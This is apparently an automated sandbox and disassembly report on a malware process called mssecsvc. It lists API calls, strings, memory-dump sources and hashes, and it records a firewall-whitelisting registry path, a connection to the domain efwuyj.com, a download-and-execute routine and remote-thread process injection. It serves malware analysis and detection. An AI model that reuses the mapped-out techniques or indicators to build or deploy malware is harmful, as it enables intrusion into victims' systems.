                                                                                                                                                                Function 7FEA3E4D Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262networklibrarythreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(7FEA3E41), ref: 7FEA3E4D
                                                                                                                                                                  • Part of subcall function 7FEA3E64: GetProcAddress.KERNEL32(00000000,7FEA3E58), ref: 7FEA3E65
                                                                                                                                                                  • Part of subcall function 7FEA3E64: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,000000C8), ref: 7FEA3E7A
                                                                                                                                                                  • Part of subcall function 7FEA3E64: wsprintfA.USER32 ref: 7FEA3E8F
                                                                                                                                                                  • Part of subcall function 7FEA3E64: CreateThread.KERNEL32(00000000,00000000,7FEA3629,00000000,00000000), ref: 7FEA3ED8
                                                                                                                                                                  • Part of subcall function 7FEA3E64: CloseHandle.KERNEL32(?,A0ADC14F), ref: 7FEA3EE1
                                                                                                                                                                  • Part of subcall function 7FEA3E64: WSAStartup.WS2_32(00000101), ref: 7FEA3F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 7FEA3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3F97
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4028
                                                                                                                                                                • connect.WS2_32(6F6C6902,7FEA3AA1,00000010), ref: 7FEA4042
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA408C
                                                                                                                                                                • wsprintfA.USER32 ref: 7FEA410A
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA4119, 7FEA4158
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcStartupVersionconnectsocket
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 2507355515-2972756326
                                                                                                                                                                • Opcode ID: 87f197dd41939147b2960925833c34f02f8e43997e3fe373c143eff21418308d
                                                                                                                                                                • Instruction ID: 6b43f42d33c473ca34d55eb3a46b2bfc1632f845a8dbf175e61849a723126759
                                                                                                                                                                • Opcode Fuzzy Hash: 87f197dd41939147b2960925833c34f02f8e43997e3fe373c143eff21418308d
                                                                                                                                                                • Instruction Fuzzy Hash: FE910471519344BEDB229F34CC5ABFB7BACEF81300F004659E85A9E091D6F26F0587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83E4D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262networklibrarythreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00A83E41), ref: 00A83E4D
                                                                                                                                                                  • Part of subcall function 00A83E64: GetProcAddress.KERNEL32(00000000,00A83E58), ref: 00A83E65
                                                                                                                                                                  • Part of subcall function 00A83E64: GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,000000C8), ref: 00A83E7A
                                                                                                                                                                  • Part of subcall function 00A83E64: wsprintfA.USER32 ref: 00A83E8F
                                                                                                                                                                  • Part of subcall function 00A83E64: CreateThread.KERNEL32(00000000,00000000,00A83629,00000000,00000000), ref: 00A83ED8
                                                                                                                                                                  • Part of subcall function 00A83E64: CloseHandle.KERNEL32(?,A0ADC14F), ref: 00A83EE1
                                                                                                                                                                  • Part of subcall function 00A83E64: WSAStartup.WS2_32(00000101), ref: 00A83F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00A83F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00A83F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00A83F97
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 00A84028
                                                                                                                                                                • connect.WS2_32(6F6C6902,00A83AA1,00000010), ref: 00A84042
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 00A8408C
                                                                                                                                                                • wsprintfA.USER32 ref: 00A8410A
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcStartupVersionconnectsocket
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 2507355515-2883971992
                                                                                                                                                                • Opcode ID: 2f3759082e025dc755f4370671c019cd028bb6dc95c3f6b814e65a48fca6a078
                                                                                                                                                                • Instruction ID: feb468bc7a9dcd5842a245c63e25f7c40f4d39a898598f52544adc3259eb1949
                                                                                                                                                                • Opcode Fuzzy Hash: 2f3759082e025dc755f4370671c019cd028bb6dc95c3f6b814e65a48fca6a078
                                                                                                                                                                • Instruction Fuzzy Hash: 89910172519249BEDB21BF24CC5ABEB7BACEF45300F040649F8599E082D6F09F05C7A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA4109 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 178sleepnetworkthreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4028
                                                                                                                                                                • connect.WS2_32(6F6C6902,7FEA3AA1,00000010), ref: 7FEA4042
                                                                                                                                                                • wsprintfA.USER32 ref: 7FEA410A
                                                                                                                                                                • CreateThread.KERNEL32(?,?,Function_000037B1,6F6C6902), ref: 7FEA4138
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,Function_000037B1,6F6C6902,?,?,00000023,7FEA6E36,00000070,6F6C6902,6F6C6902,7FEA3AEA,00000014,00000000), ref: 7FEA4141
                                                                                                                                                                • Sleep.KERNEL32(00000064,?,?,?,Function_000037B1,6F6C6902,?,?,00000023,7FEA6E36,00000070,6F6C6902,6F6C6902,7FEA3AEA,00000014,00000000), ref: 7FEA41DA
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 7FEA41E3
                                                                                                                                                                • closesocket.WS2_32(6F6C6902), ref: 7FEA4207
                                                                                                                                                                • SetEvent.KERNEL32(000002A4,?,00000000), ref: 7FEA4225
                                                                                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA4236
                                                                                                                                                                • ResetEvent.KERNEL32(000002A4,?,00000000), ref: 7FEA4249
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA4109, 7FEA4119, 7FEA4158
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: EventSleep$CloseCountCreateHandleResetThreadTickclosesocketconnectsocketwsprintf
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 2506426657-999611837
                                                                                                                                                                • Opcode ID: fc55b44dffeed9f0fa34af6d0f9333e7e97c5298c09aa9a8cf59fe694ab0a9b6
                                                                                                                                                                • Instruction ID: 89d05568f6f0f74edd9da8b322cf757c92d4c5c9e4e33640a8c574e91f1d73db
                                                                                                                                                                • Opcode Fuzzy Hash: fc55b44dffeed9f0fa34af6d0f9333e7e97c5298c09aa9a8cf59fe694ab0a9b6
                                                                                                                                                                • Instruction Fuzzy Hash: 1C610571119349BEDB229F34C819BEE7BADEF92304F040649E85A5E091C7F6AF018769
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3EF8 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 192libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(7FEA3EEC), ref: 7FEA3EF8
                                                                                                                                                                  • Part of subcall function 7FEA3F27: LoadLibraryA.KERNEL32(7FEA3F1B), ref: 7FEA3F27
                                                                                                                                                                  • Part of subcall function 7FEA3F27: WSAStartup.WS2_32(00000101), ref: 7FEA3F66
                                                                                                                                                                  • Part of subcall function 7FEA3F27: CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 7FEA3F81
                                                                                                                                                                  • Part of subcall function 7FEA3F27: CloseHandle.KERNEL32(?,00000000), ref: 7FEA3F8A
                                                                                                                                                                  • Part of subcall function 7FEA3F27: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3F97
                                                                                                                                                                  • Part of subcall function 7FEA3F27: socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4028
                                                                                                                                                                  • Part of subcall function 7FEA3F27: connect.WS2_32(6F6C6902,7FEA3AA1,00000010), ref: 7FEA4042
                                                                                                                                                                  • Part of subcall function 7FEA3F27: GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA408C
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA4119, 7FEA4158
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateLibraryLoad$CloseEventHandleStartupThreadVersionconnectsocket
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 3793714048-999611837
                                                                                                                                                                • Opcode ID: 25854abc98b3accc8cf8ec0414aa342a2e8bceb29aad210d583b08b6067569f1
                                                                                                                                                                • Instruction ID: b67a33e171a28624ddfe8ab1e5238558b27c32c4c3291d9317fedc6211665881
                                                                                                                                                                • Opcode Fuzzy Hash: 25854abc98b3accc8cf8ec0414aa342a2e8bceb29aad210d583b08b6067569f1
                                                                                                                                                                • Instruction Fuzzy Hash: B961E471119349BEDB229F34CC1ABEA7BACEF81304F000659E8595F091D6F66F0587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A84109 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 178sleepnetworkthreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 00A84028
                                                                                                                                                                • connect.WS2_32(6F6C6902,00A83AA1,00000010), ref: 00A84042
                                                                                                                                                                • wsprintfA.USER32 ref: 00A8410A
                                                                                                                                                                • CreateThread.KERNEL32(?,?,Function_000037B1,6F6C6902), ref: 00A84138
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,Function_000037B1,6F6C6902,?,?,00000023,00A86E36,00000070,6F6C6902,6F6C6902,00A83AEA,00000014,00000000), ref: 00A84141
                                                                                                                                                                • Sleep.KERNEL32(00000064,?,?,?,Function_000037B1,6F6C6902,?,?,00000023,00A86E36,00000070,6F6C6902,6F6C6902,00A83AEA,00000014,00000000), ref: 00A841DA
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00A841E3
                                                                                                                                                                • closesocket.WS2_32(6F6C6902), ref: 00A84207
                                                                                                                                                                • SetEvent.KERNEL32(000002A4,?,00000000), ref: 00A84225
                                                                                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 00A84236
                                                                                                                                                                • ResetEvent.KERNEL32(000002A4,?,00000000), ref: 00A84249
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A84109, 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: EventSleep$CloseCountCreateHandleResetThreadTickclosesocketconnectsocketwsprintf
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe
                                                                                                                                                                • API String ID: 2506426657-2333695032
                                                                                                                                                                • Opcode ID: 04d2086db90d8a1ec592e7a4c4ba12b7cf4004c4306db8bae599bfa2d6b7511b
                                                                                                                                                                • Instruction ID: 7a8821ce98ab270a81f8e0dcb0fa4ed46a1fffb7dc8a73054e8c6078f4072eb1
                                                                                                                                                                • Opcode Fuzzy Hash: 04d2086db90d8a1ec592e7a4c4ba12b7cf4004c4306db8bae599bfa2d6b7511b
                                                                                                                                                                • Instruction Fuzzy Hash: BA61017250824ABADF31BF24C81EBEE7BADAF45704F140648E8595E081D7F49F41C769
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83EF8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00A83EEC), ref: 00A83EF8
                                                                                                                                                                  • Part of subcall function 00A83F27: LoadLibraryA.KERNEL32(00A83F1B), ref: 00A83F27
                                                                                                                                                                  • Part of subcall function 00A83F27: WSAStartup.WS2_32(00000101), ref: 00A83F66
                                                                                                                                                                  • Part of subcall function 00A83F27: CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00A83F81
                                                                                                                                                                  • Part of subcall function 00A83F27: CloseHandle.KERNEL32(?,00000000), ref: 00A83F8A
                                                                                                                                                                  • Part of subcall function 00A83F27: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00A83F97
                                                                                                                                                                  • Part of subcall function 00A83F27: socket.WS2_32(00000002,00000001,00000000), ref: 00A84028
                                                                                                                                                                  • Part of subcall function 00A83F27: connect.WS2_32(6F6C6902,00A83AA1,00000010), ref: 00A84042
                                                                                                                                                                  • Part of subcall function 00A83F27: GetVersionExA.KERNEL32(?,?,00000000), ref: 00A8408C
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateLibraryLoad$CloseEventHandleStartupThreadVersionconnectsocket
                                                                                                                                                                • String ID: C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe
                                                                                                                                                                • API String ID: 3793714048-2333695032
                                                                                                                                                                • Opcode ID: dc5a08a0cf9c4805ff502550f03049846a80f0d9e8715b7965f155b70a42427d
                                                                                                                                                                • Instruction ID: 7192b398f0f86b54819bb0d437ab082ec3c366f13257c84ffda56b0d5575c914
                                                                                                                                                                • Opcode Fuzzy Hash: dc5a08a0cf9c4805ff502550f03049846a80f0d9e8715b7965f155b70a42427d
                                                                                                                                                                • Instruction Fuzzy Hash: A661E371519249BEDB21BF34CC1ABEA7BACEF45300F040649F8599E082D6F49F4587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3826 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetSystemTime.KERNEL32(7FEA74C4), ref: 7FEA3837
                                                                                                                                                                • Sleep.KERNEL32(0000EA60), ref: 7FEA38A9
                                                                                                                                                                • InternetGetConnectedState.WININET(?,00000000), ref: 7FEA38C2
                                                                                                                                                                • gethostbyname.WS2_32(0D278065), ref: 7FEA3904
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA3919
                                                                                                                                                                • ioctlsocket.WS2_32(?,8004667E), ref: 7FEA3932
                                                                                                                                                                • connect.WS2_32(?,?,00000010), ref: 7FEA394B
                                                                                                                                                                • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 7FEA3959
                                                                                                                                                                • closesocket.WS2_32 ref: 7FEA39B8
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                                                                                                                                                                • String ID: efwuyj.com
                                                                                                                                                                • API String ID: 159131500-3343764597
                                                                                                                                                                • Opcode ID: 8a686a087b9ca882c45b70cfb202359d5926509ce2d560687b0ead4f7edf597d
                                                                                                                                                                • Instruction ID: 679708d68e1f1f1ff3adb2774e65a255b4cfa23130b2b7b2cbe7d81c0c76102a
                                                                                                                                                                • Opcode Fuzzy Hash: 8a686a087b9ca882c45b70cfb202359d5926509ce2d560687b0ead4f7edf597d
                                                                                                                                                                • Instruction Fuzzy Hash: 5641B371606349BEDB219F208C0DBE97B6EEF86715F004459FA0AAE0C0DBF79B419664
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 7FEA144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                                                                                                  • Part of subcall function 7FEA144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                                                                                                • FreeLibrary.KERNEL32(745B0000,?,7FEA079B,00000000,00007700,00000000,?,00000002,00000000,00000040,00000000,00007700), ref: 7FEA07B8
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,7FEA079B,00000000,00007700,00000000,?,00000002,00000000,00000040,00000000,00007700), ref: 7FEA07BF
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                                                                                                                                                                • Process32First.KERNEL32 ref: 7FEA07DC
                                                                                                                                                                • Process32Next.KERNEL32 ref: 7FEA07ED
                                                                                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 7FEA0805
                                                                                                                                                                • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003BD0,00000002,00000000), ref: 7FEA0842
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 7FEA085D
                                                                                                                                                                • CloseHandle.KERNEL32 ref: 7FEA086C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseHandle$CreateProcess32$AdjustFirstFreeLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                                                                                                • String ID: csrs
                                                                                                                                                                • API String ID: 3908997113-2321902090
                                                                                                                                                                • Opcode ID: f5f5cebb265d1853f7019ca829e2ca1ff70c3e720cc08ba597563a20905a2943
                                                                                                                                                                • Instruction ID: 2cd7a14c00b21565bcb56f83c63b20fe79d5af0ee737aa92731432fe19230117
                                                                                                                                                                • Opcode Fuzzy Hash: f5f5cebb265d1853f7019ca829e2ca1ff70c3e720cc08ba597563a20905a2943
                                                                                                                                                                • Instruction Fuzzy Hash: 35113030506205FBEB256F31CD49BBF3A6DEF44711F00016DFE4B9D051D6B5AA019A6A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA2768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempPathA.KERNEL32(00000104), ref: 7FEA278C
                                                                                                                                                                  • Part of subcall function 7FEA27A7: GetTempFileNameA.KERNEL32(?,7FEA27A3,00000000,?), ref: 7FEA27A8
                                                                                                                                                                  • Part of subcall function 7FEA27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27C3
                                                                                                                                                                  • Part of subcall function 7FEA27A7: InternetReadFile.WININET(?,?,00000104), ref: 7FEA27DD
                                                                                                                                                                  • Part of subcall function 7FEA27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27F3
                                                                                                                                                                  • Part of subcall function 7FEA27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,7FEA27A3,00000000,?), ref: 7FEA27FF
                                                                                                                                                                  • Part of subcall function 7FEA27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,7FEA27A3), ref: 7FEA2823
                                                                                                                                                                  • Part of subcall function 7FEA27A7: InternetCloseHandle.WININET(?), ref: 7FEA2833
                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 7FEA283A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1995088466-0
                                                                                                                                                                • Opcode ID: 9442bed387485dd5c6208b040b775dce7909e05c58a4aabe22b0929d4f7f6822
                                                                                                                                                                • Instruction ID: 74c89064570d784bd3ffb51b95ebf9e27efa287465053b468b7125fe6face982
                                                                                                                                                                • Opcode Fuzzy Hash: 9442bed387485dd5c6208b040b775dce7909e05c58a4aabe22b0929d4f7f6822
                                                                                                                                                                • Instruction Fuzzy Hash: A321D2B1146305BFE7215A24CC8EFFF3A2DEF85B10F000119FA45AD091D7B2AA05C676
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A82768 Relevance: 12.1, APIs: 8, Instructions: 85networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempPathA.KERNEL32(00000104), ref: 00A8278C
                                                                                                                                                                  • Part of subcall function 00A827A7: GetTempFileNameA.KERNEL32(?,00A827A3,00000000,?), ref: 00A827A8
                                                                                                                                                                  • Part of subcall function 00A827A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00A827A3,00000000,?), ref: 00A827C3
                                                                                                                                                                  • Part of subcall function 00A827A7: InternetReadFile.WININET(?,?,00000104), ref: 00A827DD
                                                                                                                                                                  • Part of subcall function 00A827A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00A827A3,00000000,?), ref: 00A827F3
                                                                                                                                                                  • Part of subcall function 00A827A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00A827A3,00000000,?), ref: 00A827FF
                                                                                                                                                                  • Part of subcall function 00A827A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00A827A3), ref: 00A82823
                                                                                                                                                                  • Part of subcall function 00A827A7: InternetCloseHandle.WININET(?), ref: 00A82833
                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 00A8283A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$CloseHandleInternet$CreateTemp$NamePathProcessReadWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1995088466-0
                                                                                                                                                                • Opcode ID: 9442bed387485dd5c6208b040b775dce7909e05c58a4aabe22b0929d4f7f6822
                                                                                                                                                                • Instruction ID: fe192865e8c82533d92868dd6673ed7e9fda47a841efe01786194f0ddea99b22
                                                                                                                                                                • Opcode Fuzzy Hash: 9442bed387485dd5c6208b040b775dce7909e05c58a4aabe22b0929d4f7f6822
                                                                                                                                                                • Instruction Fuzzy Hash: 2421CDB1146206BFE7216B21CC8EFFF3A2CEF95B10F000119FA4999092D7B19E0587B6
                                                                                                                                                                Uniqueness

